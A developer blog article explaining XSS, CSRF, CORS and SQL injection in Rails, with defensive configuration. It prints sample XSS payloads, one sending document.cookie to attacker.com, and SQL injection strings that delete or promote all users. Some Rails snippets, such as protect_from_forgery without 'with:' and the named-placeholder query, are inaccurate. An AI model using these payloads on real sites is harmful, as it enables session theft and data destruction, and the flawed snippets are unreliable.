Main page background image

The most common security issues in Ruby on Rails


Ihor T.
RoR Developer

In this article, I would like to describe the most common security issues that your applications may encounter, such as XSS attacks, CSRF, and SQL injections. I will also show several ways to prevent them in a Rails application.

Let’s review the basics to understand how each attack can be carried out.

Whenever you send a request to the server, a cookie is sent automatically on every request, regardless of your current domain. So, in a nutshell, if you make a request from the website client.com to the website auth-server.com, it means that the website auth-server.com may have access to your cookie to authenticate you.

Cross-domain access control

The Same-origin policy is a feature that ensures that an attacker’s website cannot simply make a request to a target website and read data between domains. This is a critical point because, as we know, cookies are automatically sent on every request.

The browser will allow you to read data between domains if only the following criteria are met.

  1. same domain (https://tihandev.com:80)
  2. same schema (https://tihandev.com:80)
  3. same port (https://tihandev.com:80)

This will come in handy when discussing CSRF attacks later in the article.

What is an XSS attack? How to deal with this in Rails?

XSS stands for Cross Site Scripting. This involves several different attacks, but the basic idea is that the attacker injects scripts into the front end of the website and provides the attacker with the ability to still the user’s session, refresh the page content, or redirect users to a fake website, and more.

Let me describe the most popular XSS attacks.

Persistent Cross-Site Scripting.

To proceed with this attack, the attacker must know that the page displays user input as HTML or that it can execute user input. When an attacker finds such a form or information, he adds some script. When a form is submitted, it is stored in the database, and the data can be shown on the page. After that, when a legitimate user opens that page, the script and the attack are executed.

This attack can be performed on websites that allow users to edit content, leave comments and format them, or attach images.

Non-Persistent Cross-Site scripting.

The difference from the previous one is that the site does not provide the possibility of saving this kind of data.

This vulnerability could occur on a website that provides search functionality where the input fields are not protected.

The picture above shows that the user enters a simple script tag, clicks the search button, and the script is executed.

Also, as you can see, the script tag is stored as URL query parameters, which means that if that link is sent to someone else, the script will also be executed for that user.

Below we can discover a list of scripts that may help attackers to still sensitive information.

Examples of XSS Attack scripts:

tag code
script <script>document.write('<img src="http://attacker.com/' + document.cookie + '">');</script>
link <a href="javascript:document.location='http://attacker.com/'">Redirect</a>
image <img src=javascript:alert(document.cookie)>
table <table background="javascript:alert(document.cookie)">

How to prevent XSS attacks in Rails?

Following the list below will help you fight XSS attacks:

  • try to avoid HTML in user input
  • don’t use String.html_safe in Rails on user input
  • don’t use .html() in javascript on user input
  • don’t rely on regular expressions to validate user input

The solution is to sanitize the user input when HTML is expected:

<%= sanitize @comment.body, tags: [an array of allowed tags], attributes: [an array of allowed attributes] %>

Here is the link to the Rails sanitize helper module.

Protect your cookies using the HttpOnly flag.

An HttpOnly cookie is a tag added to a browser cookie that blocks client scripts from accessing the data.

The cookie can be stolen as long as javascript has access to it. To prevent this, set the HttpOnly flag on your cookies.

cookies[:cookie_name] = { value: 'sensitive data', expires: 2.hours.from_now, httponly: true }

Now attackers will not be able to use your cookies. Probably!

Set up Content-Security-Policy.

Another option is to set the Content-Security-Policy header, which allows you to control which resources the user agent can download for a given page. To read more, follow the link Content-Security-Policy.

In a nutshell, we specify which resources our application can request, such as fonts, images, scripts, etc. You can also set a policy so that the browser sends you a report of violations that occur.

How to implement Content-Security-Policy in Rails 5.2 and up?

# config/initializers/content_security_policy.rb

Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src :self, :https, :data
  policy.img_src :self, :https, :data
  policy.object_src :none
  policy.script_src :self, :https
  policy.style_src :self, :https, :unsafe_inline
  policy.report_uri "/csp-violation-report-endpoint"
end

How to implement Content-Security-Policy in Rails below version 5.2?

Use SecureHeaders gem.

# config/initializers/content_security_policy.rb

SecureHeaders::Configuration.default do |config|
  config.csp = {
    default_src: %w(https: 'self'),
    font_src: %w('self' data: https:),
    img_src: %w('self' https: data:),
    object_src: %w('none'),
    script_src: %w(https:),
    style_src: %w('self' https: 'unsafe-inline')
  }
end

Another tip to prevent XSS attacks is to stop using npm modules on pages that collect sensitive data (passwords, credit cards, etc.).

For example, Google Tag Manager, ad networks, analytics, or any other code not written by you.

Don’t try to be smarter than an attacker. Finding vulnerable code in one of your dependencies or dependency dependencies is difficult or even impossible.

Web Application Firewall

Last but not least, you can set up a web application firewall. The firewall monitors incoming and outgoing network traffic and allows or blocks data packets based on security rules.

If your application requires it, I suggest Cloudflare. But there are many other options.

What is a CSRF attack? How to deal with this in Rails?

CSRF is a type of web application valnurability in which unauthorized commands are sent by a user that the website trusts.

Let’s see some basic examples in order to understand of how a CSRF attack can be carried out.

Example:

  1. User Bobo logs into my-account.com and authenticates there to check his balance. After authentication, cookies are stored in the browser.
  2. Then, on the same site, he sees an article with external links from the attacker. He reads the article and then clicks on this link, which redirects him to attacker.com, owned by the attacker and contains a malicious script.
  3. As soon as the user is redirected to the attacker.com site, the script sends a request to the server and transfers money to the attacker’s account. And this is possible because the attacker has cookies with valid credentials.
  4. Game over!

How to prevent CSRF attacks in Rails?

Rails includes an integrated mechanism to prevent CSRF, protect_from_forgery, which is included by default in the application_controller.rb.

It injects a hidden input field, authentication_token associated with a user session, into every form. This way, the server can validate the authentication_token with the value associated with the user’s session, and if those values don’t match, the request will be rejected.

class ApplicationController < ActionController::Base
  protect_from_forgery :null_session
end

The website will assume that the session is null. This is useful when you are actually expecting a request from an external website.

class ApplicationController < ActionController::Base
  protect_from_forgery :reset_session
end

Resets the token after each request, which means we cannot use the same token twice.

class ApplicationController < ActionController::Base
  protect_from_forgery :exception
end

Raises ActionController::InvalidAuthenticityToken exception.

To read more about protect_from_forgery method follow the link.

The examples above protect our website from forged POST requests. But in fact, attackers can use the GET request to collect sensitive information. This is where a same-origin policy can come in handy.

Same-origin policy

Make sure you don’t have a wildcard for the Access-Control-Allow-Origin header, which allows anyone to make a GET request to your server.

Access-Control-Allow-Origin: *

To properly set it up, you can check the following headers:

Access-Control-Allow-Origin: Your Website
Access-Control-Allow-Headers: Content-Type

These restrictions work at the browser level.

What is a SQL injection attack? How to deal with this in Rails?

An SQL injection attack is an attack that uses malicious SQL against a server database to access information that is not meant to be displayed. This information may include any data, including confidential data, a list of users, and anything you store in your database. The attacker can even delete the data or update it.

Rails has an Active Record that handles this, but we still need to think about what we’re doing. ActiveRecord contains many query methods that do not clean up raw SQL arguments and are not intended to be called with unsafe user input.

List of unsafe ActiveRecord methods:

  • calculate, average, count, maximum, minimum, sum
  • delete_by
  • destroy_by
  • exists?
  • find_by, find_by!, find_or_create_by, find_or_create_by!, find_or_initialize_by
  • from
  • group
  • having
  • joins
  • lock
  • not
  • select
  • reselect
  • where
  • rewhere
  • update_all

All of the above methods are vulnerable to SQL injection attacks.

Examples:

This example ignores any conditions and removes all users.

params[:id] = "1) OR 1=1--"
User.delete_by("id = #{params[:id]}")

becomes:

DELETE FROM "users" WHERE (id = 1) OR 1=1--)

Updates each user to become an administrator.

params[:name] = "' OR 1=1;"
User.update_all("admin = 1 WHERE name LIKE '%#{params[:name]}%'")

becomes:

UPDATE "users" SET admin = 1 WHERE name LIKE '%' OR 1=1;%'

How to prevent SQL injection attacks in Rails?

  • use positional handlers
User.where('email = ?', params[:email])
  • use named handlers
User.where('email = :email', params[:email])

Summary

Of course, this is just a superficial part of the security problems that we may have. In the text above, I just wanted to talk about the most common threats that you may encounter when developing your web application.